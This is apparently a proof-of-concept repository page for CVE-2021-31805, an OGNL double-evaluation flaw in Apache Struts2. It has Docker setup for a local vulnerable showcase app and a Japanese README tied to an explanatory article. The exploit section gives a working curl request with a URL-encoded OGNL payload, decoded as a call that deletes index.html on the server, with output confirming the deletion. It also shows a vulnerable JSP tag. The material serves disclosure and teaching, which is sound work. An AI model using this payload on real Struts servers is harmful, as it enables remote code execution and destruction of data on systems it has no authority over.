CVE-2021-31805 PoC — Forced OGNL evaluation, when evaluated on raw not validated user input in tag attributes, may lead to RCE.

Source

Associated Vulnerability

Description

 PoC for CVE-2021-31805 (Apache Struts2)

Readme

# CVE-2021-31805
PoC for CVE-2021-31805 (Apache Struts2)
[CVE-2021-31805の解説記事](https://qiita.com/AeyeScan/items/d0d9ae17f740d48f0bcd)で使用したアプリケーションです。

## セットアップ

```
$ docker-compose build
$ docker-compose up -d
```

## 動作確認
http://localhost:8080/struts2-showcase-2.5.29/index.html
にアクセスしWelcomeページが表示されることを確認します。

## Exploit

```
$ curl -I 'http://localhost:8080/struts2-showcase-2.5.29/index.html'
HTTP/1.1 200
(略)
$ curl -I 'http://localhost:8080/struts2-showcase-2.5.29/skill/list.action?skillName=%28%23%61%70%70%6c%69%63%61%74%69%6f%6e%5b%27%6f%72%67%2e%61%70%61%63%68%65%2e%63%61%74%61%6c%69%6e%61%2e%72%65%73%6f%75%72%63%65%73%27%5d%2e%67%65%74%52%65%73%6f%75%72%63%65%28%27%2f%69%6e%64%65%78%2e%68%74%6d%6c%27%29%2e%64%65%6c%65%74%65%28%29%29'
HTTP/1.1 200
(略)
URLデコードした値は
skillName=(#application['org.apache.catalina.resources'].getResource('/index.html').delete())
です。

$ curl -I 'http://localhost:8080/struts2-showcase-2.5.29/index.html'
HTTP/1.1 404
(snip)
index.htmlファイルが削除されていることが確認できます。
```

## 脆弱なコードの例
```
<li><s:label id="test2" name="%{skillName}"/></li>
```

## 参考情報
- https://cwiki.apache.org/confluence/display/WW/S2-059
- https://cwiki.apache.org/confluence/display/WW/S2-061
- https://cwiki.apache.org/confluence/display/WW/S2-062
- https://securitylab.github.com/research/apache-struts-double-evaluation/
- https://mc0wn.blogspot.com/2021/04/exploiting-struts-rce-on-2526.html

File Snapshot

 [4.0K]  /data/pocs/892ab93d21ba77f5749b440bc6dc77ac50181efa
├── [  78]  docker-compose.yml
├── [ 454]  Dockerfile
├── [ 11K]  LICENSE
├── [2.2K]  listSkills.jsp
├── [1.6K]  README.md
└── [4.0K]  webapps
    └── [ 17M]  struts2-showcase-2.5.29.war

1 directory, 6 files

Remarks